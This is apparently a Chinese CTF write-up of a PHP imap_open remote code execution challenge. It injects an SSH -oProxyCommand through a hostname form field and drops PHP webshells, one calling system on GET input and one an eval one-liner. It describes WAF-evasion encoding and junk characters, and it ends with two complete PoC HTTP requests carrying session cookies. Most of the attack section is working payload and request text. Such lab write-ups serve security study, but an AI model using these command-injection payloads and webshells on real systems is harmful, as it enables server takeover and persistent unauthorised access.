一个RCE题目,poc在文章最底部
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
开启靶场

随便输入一些信息用burp抓包

执行命令的是hostname,发送到repeater
构造一个ssh命令:
echo '<?php system($_GET['1']);phpinfo(); ?>' > /var/www/html/1.php
注意?>前面必须要有空格,否则会被shell判定为重定向符号
这里加?>是为了方便大家理解 在实战中?>往往是被waf禁止的
最佳即为
echo '<?php system($_GET['1']);phpinfo();' > /var/www/html/1.php
接下来使用base64加密转换一下 用于绕过waf检测

ZWNobyAnPD9waHAgc3lzdGVtKCRfR0VUWycxJ10pO3BocGluZm8oKTsnID4gL3Zhci93d3cvaHRtbC8xLnBocA==
通过添加用于绕过waf的干扰符号得到
x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgc3lzdGVtKCRfR0VUWycxJ10pO3BocGluZm8oKTsnID4gL3Zhci93d3cvaHRtbC8xLnBocA==|base64%09-d|sh}a
SSH 支持 -oProxyCommand=xxx 指定代理命令,很多版本(尤其是老版本)对这里的内容没有充分过滤/转义。
我们可以把整个payload 塞进 ProxyCommand 参数里,让 SSH 客户端自己去执行 shell 命令。
把光标移动到这里发现转义前的命令

其中%09是url编码 意即tab,用于绕过waf
下面是用ai找到的常用于waf绕过的url编码

开头 x 和结尾 }a 完全是垃圾字符,用来绕过一些简单的正则检测(比如只检测以 echo 开头或以 base64 结尾的规则)
中间的 +- 也是干扰项,真正的 payload 是从 -oProxyCommand 开始的
发送请求包

打开新建的含有恶意代码的页面


这是成功的 有phpinfo回显和空命令的执行
构造get请求获取flag


原理同法一,不过多赘述
这里构造一个一句话木马,注意这里的密码不能是数字
echo '<?php eval($_POST['two']);' > /var/www/html/2.php
base64加密后是
ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbJ3R3byddKTsnID4gL3Zhci93d3cvaHRtbC8yLnBocA==
构造命令
x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbJ3R3byddKTsnID4gL3Zhci93d3cvaHRtbC8yLnBocA==|base64%09-d|sh}a
burp发送请求包

访问http://host/2.php发现回显的是空白页面而不是404证明上传成功
用蚁剑连接


得到flag
POST / HTTP/1.1 Host: 39.106.48.123:39628 Content-Length: 152 Cache-Control: max-age=0 Origin: http://39.106.48.123:39628 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://39.106.48.123:39628/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=zh_CN; wordpress_logged_in_9a898ff8b5c5f9da8b6b69da7e40a911=test%7C1764349676%7C08llMkxRGfqwEWEu8gVozxreygALcOGLY1uKkoTwdnU%7C71f9d0720eec1025b7e08135607f4678031fbdc75ff731756f68bc86367ee650; wp-settings-time-1=1764181066; COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1 Connection: keep-alive hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgc3lzdGVtKCRfR0VUWycxJ10pO3BocGluZm8oKTsnID4gL3Zhci93d3cvaHRtbC8xLnBocA==|base64%09-d|sh}a&username=11&password=11
POST / HTTP/1.1 Host: 39.106.48.123:39628 Content-Length: 152 Cache-Control: max-age=0 Origin: http://39.106.48.123:39628 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://39.106.48.123:39628/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=zh_CN; wordpress_logged_in_9a898ff8b5c5f9da8b6b69da7e40a911=test%7C1764349676%7C08llMkxRGfqwEWEu8gVozxreygALcOGLY1uKkoTwdnU%7C71f9d0720eec1025b7e08135607f4678031fbdc75ff731756f68bc86367ee650; wp-settings-time-1=1764181066; COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1 Connection: keep-alive hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbJ3R3byddKTsnID4gL3Zhci93d3cvaHRtbC8yLnBocA==|base64%09-d|sh}a&username=11&password=11
感谢耐心看完,有错误的地方欢迎指出
写稿不易点个赞再走呗